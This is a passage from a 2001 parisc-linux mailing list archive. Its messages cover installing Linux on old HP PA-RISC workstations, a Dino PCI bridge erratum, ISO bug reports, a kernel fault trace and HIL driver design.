> > I have an HP 700 Series Apollo Model 710. As far as I can tell it has no
> > usable operating system (no HPUX). I can turn it on and connect to a
> > series of (CMOS?/BIOS?) prompts and menus via a serial cable. It does
not
> > have a CD drive. I do not have HPUX to do any cross-compiles. (I have
> > installed a variety of flavours of BSD and Linux hundreds of times, but
> > always on i386 architectures.)
> >
> > I want to use Linux (or BSD) on it. The PA-RISC webpages have links for
> > documentation, but none appear to explain a basic install. Where is the
> > documentation for installing Linux on a hard drive?
> >
> > The software page (http://www.parisc-linux.org/software/) says "nfsroot"
> > is the easiest way; but the instructions say "you have to build on
> > HP/UX."
> >
> > Is there simply a filesystem image (with kernel and userspace) that I
can
> > dd to a harddrive that I can then use to boot my HP 710)? If so, where
is
> > it? (And where is this documented?)
> >
> > Also, I see an ISO image at
> > ftp://puffin.external.hp.com/pub/parisc/cd-images/; is there any
> > (easy) way to convert this ISO image to an image that I can dd on to my
> > hardrive (to use to boot)?
> >
> > Thanks,
> >
> >    Jeremy C. Reed
> >    http://bsd.reedmedia.net/
> >
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> >
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Weatherall" <peter.weatherall@3beans.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dino
Date: Thu, 26 Apr 2001 16:28:13 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <000501c0ce97$cd18ec00$a2035ad8@3beans.com>
References: <Pine.LNX.4.21.0104261258350.11174-100000@pilchuck.reedmedia.net> <OE25oryKFRJrzdDW6lC000046f5@hotmail.com> <003401c0ce96$88726af0$a2035ad8@3beans.com>
Reply-To: "Peter Weatherall" <peter.weatherall@3beans.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620082 18683 80.91.229.3 (22 Nov 2014 01:34:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:42 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 26 15:29:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.oplnk.net (unknown [216.90.3.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D392482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 15:29:17 -0600 (MDT)
Original-Received: from deskbean (216-90-3-162.dsl.oplnk.net [216.90.3.162])
	by mail.oplnk.net (Postfix) with SMTP id 5155F4E00C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 16:50:11 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:10934

(I'm reposting this with the correct subject) -


I have a C160. When I boot it , I see the following message -


> start snip >>>>
Dino version 2.1 (bridge mode) found at 0xf1600000


The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.
 
dino_bridge_init: IO_ADDR_EN hasn't been configured.
kernel BUG at dino.c:795!
> end snip >>>>>
 
How can I determine if my c160 is affected ? what's this kernel bug at
dino.c all about and is there some Dino documentation available ?
 
Thanks
Peter






From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SETI@home
Date: Fri, 27 Apr 2001 00:26:44 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <3AE8A0A4.1D74FACF@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620083 18692 80.91.229.3 (22 Nov 2014 01:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:43 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 26 16:21:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3629B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 16:21:10 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id CE475D1672
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 00:21:07 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10935

Hi all,

	SETI guys just announced that our version was working! To see it, follow this
link http://setiathome.ssl.berkeley.edu/unix.html

And, at http://www.esiee.fr/puffin, a client will be available as soon as
possible. We are currently running tests with our A500 and with a 712...

Once again, thanks to Bruno Iglesias for porting this good test for the floating
computation of our PA/Linux.

Good day, Thomas
ESIEE Team




From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino
Date: Thu, 26 Apr 2001 16:41:08 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <200104262241.QAA09672@puffin.external.hp.com>
References: <000501c0ce97$cd18ec00$a2035ad8@3beans.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620083 18695 80.91.229.3 (22 Nov 2014 01:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Peter Weatherall" <peter.weatherall@3beans.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 26 16:47:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DBAF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 16:47:35 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA09672;
	Thu, 26 Apr 2001 16:41:08 -0600
In-Reply-To: Your message of "Thu, 26 Apr 2001 16:28:13 CDT."
             <000501c0ce97$cd18ec00$a2035ad8@3beans.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10936

"Peter Weatherall" wrote:
> Dino version 2.1 (bridge mode) found at 0xf1600000
> 
> 
> The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
> data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
> Systems shipped after Aug 20, 1997 will not exhibit this problem.
> Models affected: C180, C160, C160L, B160L, and B132L workstations.
> 
> dino_bridge_init: IO_ADDR_EN hasn't been configured.
> kernel BUG at dino.c:795!
> >>>>>

I added this text about 1.5 years ago.


> How can I determine if my c160 is affected ? what's this kernel bug at
> dino.c all about and is there some Dino documentation available ?

The bug is documented in the Dino3.1 Errata. I don't recall if that got
published. Search the mail archive for "corruption".

With a dino2.1, I'd be pretty certain your box will be affected.
My understanding was HP replaced old dino chips with 3.1 versions.
For customers, this meant a board swap.

Note that upgrading PDC (firmware) may render PCI unusable.  PDC won't
let you boot (or get to PDC prompt) the box if dino is rev 3.0 or lower
*and* a PCI card (except HP graphics) is installed. It'll halt and print
something about PCI and "contact local HP support".

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@buttafuoco.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 710 and miscellaneous questions ...
Date: Fri, 27 Apr 2001 08:49:10 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <200104271249.IAA10226@p2.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416620083 18696 80.91.229.3 (22 Nov 2014 01:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:43 +0000 (UTC)
To: "Jeremy C. Reed" <reed@reedmedia.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 06:49:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from p2.buttafuoco.net (buttafuoco.mv.com [207.22.43.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA48F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 06:49:20 -0600 (MDT)
Original-Received: (from nobody@localhost)
	by p2.buttafuoco.net (8.9.3/8.9.3) id IAA10226;
	Fri, 27 Apr 2001 08:49:10 -0400
X-Authentication-Warning: p2.buttafuoco.net: nobody set sender to jim@buttafuoco.net using -f
X-Mailer: NeoMail 1.23
X-IPAddress: 192.1.3.2
Xref: news.gmane.org gmane.linux.ports.parisc:10937

Jeremy,

The 710 doesn't seem to work just yet.  A number of people are working
on getting both the network and scsi drivers to work.  I am also waiting
for support (I have 2 710's).

Jim

> I see "[t]his mailing list exists to serve the developers." Where is
> the appropriate forum to discuss basic usage?
> 
> I have an HP 700 Series Apollo Model 710. As far as I can tell it has
no
> usable operating system (no HPUX). I can turn it on and connect to a
> series of (CMOS?/BIOS?) prompts and menus via a serial cable. It does
not
> have a CD drive. I do not have HPUX to do any cross-compiles. (I have
> installed a variety of flavours of BSD and Linux hundreds of times,
but
> always on i386 architectures.)
> 
> I want to use Linux (or BSD) on it. The PA-RISC webpages have links
for
> documentation, but none appear to explain a basic install. Where is
the
> documentation for installing Linux on a hard drive?
> 
> The software page (http://www.parisc-linux.org/software/) says
"nfsroot"
> is the easiest way; but the instructions say "you have to build on
> HP/UX."
> 
> Is there simply a filesystem image (with kernel and userspace) that I
can
> dd to a harddrive that I can then use to boot my HP 710)? If so, where
is
> it? (And where is this documented?)
> 
> Also, I see an ISO image at
> ftp://puffin.external.hp.com/pub/parisc/cd-images/; is there any
> (easy) way to convert this ISO image to an image that I can dd on to
my
> hardrive (to use to boot)?
> 
> Thanks,
> 
>    Jeremy C. Reed
>    http://bsd.reedmedia.net/
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> 






From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A new release of file system working for many boxes!
Date: Fri, 27 Apr 2001 20:00:48 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3AE9B3D0.C3206E62@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620083 18701 80.91.229.3 (22 Nov 2014 01:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:43 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 11:55:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E594482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 11:55:21 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 45029D165A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 19:55:16 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10938

Hi PA/Linux guys,

	We have just released a root file system with the latest development. It should
answer to many of your requests. But, nothing is perfect. So, the feedback is
always the first thing we pay attention to!

	A add-on is available now for everyone. It is a small script for Intel box! You
give it all the parameters like the device which will become your PA/Linux HDD
and the most accurate kernel you make and an archive of file system. And ten
minutes after, your HDD is bootable! You just have to plug in your HP box and it
starts Linux UP! This have been tested upon 715, 712 and A500 like for the fs. 

So, good luck! Thomas
ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] iso 0.6 - request for LAST feedfack
Date: Fri, 27 Apr 2001 22:39:40 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <3AE9D90C.3AD819B2@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620084 18704 80.91.229.3 (22 Nov 2014 01:34:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:44 +0000 (UTC)
Cc: puffin@esiee.net
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 14:39:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 360C5482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 14:39:42 -0600 (MDT)
Original-Received: from esiee.net (pc5158d.esiee.fr [147.215.50.170])
	by mail.esiee.fr (Postfix) with ESMTP
	id C1C70D15F5; Fri, 27 Apr 2001 22:39:40 +0200 (CEST)
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:10939

Hi PA/Linux users!

We had some feedback about the CD iso 0.6 and now consider releasing a
0.6-1 iso ASAP

We are now aware of some bugs, listed in the todo-list above, but maybe
we missed some
We would also like a 'wish-list', describing what users - and coders! -
would like to see on the CD

Now even simple remark is important.

Thanks.


Here are known bugs:

A message appears on serial console isos:
INIT: Id "1" respawning too fast: disabled for 5 minutes
solution:
comment (for serial console) or uncomment (for STI console) the line:
1:2345:respawn:/sbin/getty 38400 tty1
in /etc/inittab
todo: patch sys-install and readme.install

/dev/rtc is not created on the HDD
solution:
include /dev/rtc in cdrom:/install/base.tgz

keyboard bugs on STI isos, some scancodes are unrecognised.
solution:
hey, I'm working on it ;-) a patch proposal is coming soon.

keyboard bug:
doesn't work on C110
solution:
none for now.

press ESC in vi crashes the kernel. (non-exhaustive key list)
solution:
need to be tested:
it's due to either an error in the kernel
or vi needs to be recompiled.

the -I needs to be before ${DEVICE} in the sys-install script.



WISHLIST:
an eth0/hosts/resolv.conf/hostname configuration script.


Any other idea ?



Xavier Debacker
ESIEE Team
http://www.esiee.fr/puffin










From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iso 0.6 - request for LAST feedfack
Date: Fri, 27 Apr 2001 17:11:01 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <3AE9E065.E4BA43ED@neuronet.pitt.edu>
References: <3AE9D90C.3AD819B2@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620084 18707 80.91.229.3 (22 Nov 2014 01:34:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, puffin@esiee.net
To: Xavier Debacker <xavier.debacker@esiee.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 15:11:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp7ve.mailsrvcs.net (smtp7vepub.gte.net [206.46.170.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF76B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 15:11:40 -0600 (MDT)
Original-Received: from neuronet.pitt.edu (adsl-151-201-238-189.pittpa.adsl.bellatlantic.net [151.201.238.189])
	by smtp7ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id VAA15499342;
	Fri, 27 Apr 2001 21:20:04 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.3 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10940

o Perhaps a ram filesystem where the system logs could be sent.

o I'm using minicom to get a console through the serial port. Sending a
BREAK + key does not activate the SysRq function. If it was disabled, it
should be put back in place.

Thanks.

-- 
     Rafael




From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeremy C. Reed" <reed@reedmedia.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 710 and miscellaneous questions ...
Date: Fri, 27 Apr 2001 15:11:12 -0700 (PDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104271500370.11174-100000@pilchuck.reedmedia.net>
References: <OE25oryKFRJrzdDW6lC000046f5@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620084 18709 80.91.229.3 (22 Nov 2014 01:34:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Brian Stewart <pdksh@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 16:11:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pilchuck.reedmedia.net (pilchuck.reedmedia.net [63.145.197.178])
	by dsl2.external.hp.com (Postfix) with ESMTP id D56FD482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 16:11:26 -0600 (MDT)
Original-Received: from reed by pilchuck.reedmedia.net with local-esmtp (Exim 3.12 #1 (Debian))
	id 14tGSG-00079U-00; Fri, 27 Apr 2001 15:11:12 -0700
In-Reply-To: <OE25oryKFRJrzdDW6lC000046f5@hotmail.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10941

On Thu, 26 Apr 2001, Brian Stewart wrote:

> You will find the HP710 is not going to work for you at this moment. The 710

Okay.

> passes control to it. I would recommend using mklinux for the time being,

Okay, my brother gave me a drive with an OS:

MkLinux for HP PA-RISC
Release 1.1 (Linux 2.0.32-osfmach3 on a hp_pa)

[root@lakestevens /root]# uname -a
Linux lakestevens 2.0.32-osfmach3 #45 Fri Nov 28 11:35:33 MET 1997 hp_pa unknown

> ftp://ftp.cirr.com/pub/hppa/mklinux/

Since my kernel date is Nov. 28, 1997 -- I assume this is the same as the
mklinux from this site. Anything newer?

Maybe I need to build a newer one myself?

http://www.mklinux.org/using_mklinux/index.html seems to be for mklinux on
a Macintosh platform.

http://www.mklinux.org/using_mklinux/index.html and
ftp://ftp.cirr.com/pub/hppa/mklinux/mkpa-rel.html have some notes about
"Building MkLinux".

> I hope this helps

It sure does. Thank you Brian.

(My main goal with this box is to learn how to port a BSD operating
system.)

Now to setup my thinlan so I can talk to it over the network ...

   Jeremy C. Reed
   http://www.reedmedia.net/





From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Dean=20o?= <deano_00075@yahoo.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000 D boot
Date: Sat, 28 Apr 2001 01:36:01 +0100 (BST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20010428003601.7105.qmail@web3806.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620085 18711 80.91.229.3 (22 Nov 2014 01:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 18:36:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web3806.mail.yahoo.com (web3806.mail.yahoo.com [204.71.203.177])
	by dsl2.external.hp.com (Postfix) with SMTP id A8A81482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 18:36:02 -0600 (MDT)
Original-Received: from [195.92.194.18] by web3806.mail.yahoo.com; Sat, 28 Apr 2001 01:36:01 BST
Xref: news.gmane.org gmane.linux.ports.parisc:10942

Hi,

I rescued the company's HP9000 D from the trash list
but the file system is corrupt. I believe I  can run
parisc linux, is there a boot/install image available
on either cd or 4mm dds ?

thanks

Dean

____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie




From - Thu Nov 08 21:17:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strace -f caused kernel fault
Date: Sat, 28 Apr 2001 02:04:05 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010428020405.K7818@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620085 18712 80.91.229.3 (22 Nov 2014 01:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 19:04:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 836E3482A
	for <parisc-linux@parisc-linux.org>; Fri, 27 Apr 2001 19:04:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14tJ9Z-0001Ed-00
	for parisc-linux@parisc-linux.org; Sat, 28 Apr 2001 02:04:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10943

just trying to track down a problem with libc, I did:

$ strace -f 2>strace.out make check
make -r PARALLELMFLAGS="" CVSOPTS="" -C ../libc objdir=`pwd` check

and then on console, i got:

Dumping Stack from 0000000035efc000 to 0000000035efcbc0:                        

[stack dump snipped]

Kernel Fault: Code=26 regs=0000000035efc880 (Addr=0000000000000008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001100000000000001110
r0-3     0000000000000000 000000001035a9a0 0000000010105290 0000000035efc780
r4-7     0000000000000000 0000000035efc000 0000000000000000 0000000000021fc0
r8-11    000000001034f9a0 000000000002a340 0000000000000001 0000000000000000
r12-15   0000000000000100 000000000002e608 00000000000227c0 000000000000005c
r16-19   0000000035efc3a0 0000000000000000 0000000000000000 0000000025870068
r20-23   0000000001fca9e6 0000000000000000 00000000103df4b8 0000000028d78800
r24-27   0000000035efc068 0000000000008800 0000000000000000 000000001034f9a0
r28-31   00000000103501a0 0000000035efc770 0000000035efcbc0 000000001030c880
sr0-3    0000000000095a00 0000000000095a80 0000000000000000 0000000000095b00
sr4-7    0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010128714 0000000010128718
 IIR: 0eb312d0    ISR: 0000000000000000  IOR: 0000000000000008
ORIG_R28: 0000000010155a60

0000000010128714 is right in the middle of schedule(), according to System.map.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] advice? (kernel thread vs other mechs for HIL)
Date: Fri, 27 Apr 2001 21:42:25 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0104272113170.23478-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620085 18714 80.91.229.3 (22 Nov 2014 01:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:45 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 19:42:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.net [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 75AE8482A
	for <parisc-linux@parisc-linux.org>; Fri, 27 Apr 2001 19:42:31 -0600 (MDT)
Original-Received: (qmail 31077 invoked from network); 27 Apr 2001 21:42:25 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (nuc21rir4iin2i9wucyi@208.132.136.2)
  by mail.calyx.net with SMTP; 27 Apr 2001 21:42:25 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10944

So I have to make a decision as to the MLC (core HIL) driver --
it seems kernel threads are being highly spoken of lately, and using
a kernel thread would make things simple as far as locking,
because if I'm right, as opposed to an assortment of tasklets
I can start a kernel thread, have it put itself to sleep waiting on a
semaphore, and then just "press the button" with the semaphore from
an IRQ handler, timer, or I/O request from a usermode HIL device driver.
Questions:

1) How cumbersome are they to the CPU -- is using a kernel thread
for this overkill (the MLC driver does rely heavily on timeouts
and has a complicated state machine, if that's enough to justify it,
but it could conceivably be done in smaller peices.)  For each
MLC controlled by the driver (I'm writing it for more than one,
just for laughs) entries into the driver could be maybe a hundred per
second.

2) As long as truly time sensitive work (of which there is little
for a real MLC because the HIL seems well designed with a FIFO that will
never overflow if you use it right, but if someone were faking an
MLC with a UART for some reason there could be some) is taken care
of by a quicky immediate task, is response time of a kernel thread
good enough for mouse/keyboard use?

I do see they are being used for some pretty heavily accessed stuff,
but I figured since there are quite a few wizard's reading mail here I'd
ask just to be sure.

--
Brian S. Julin





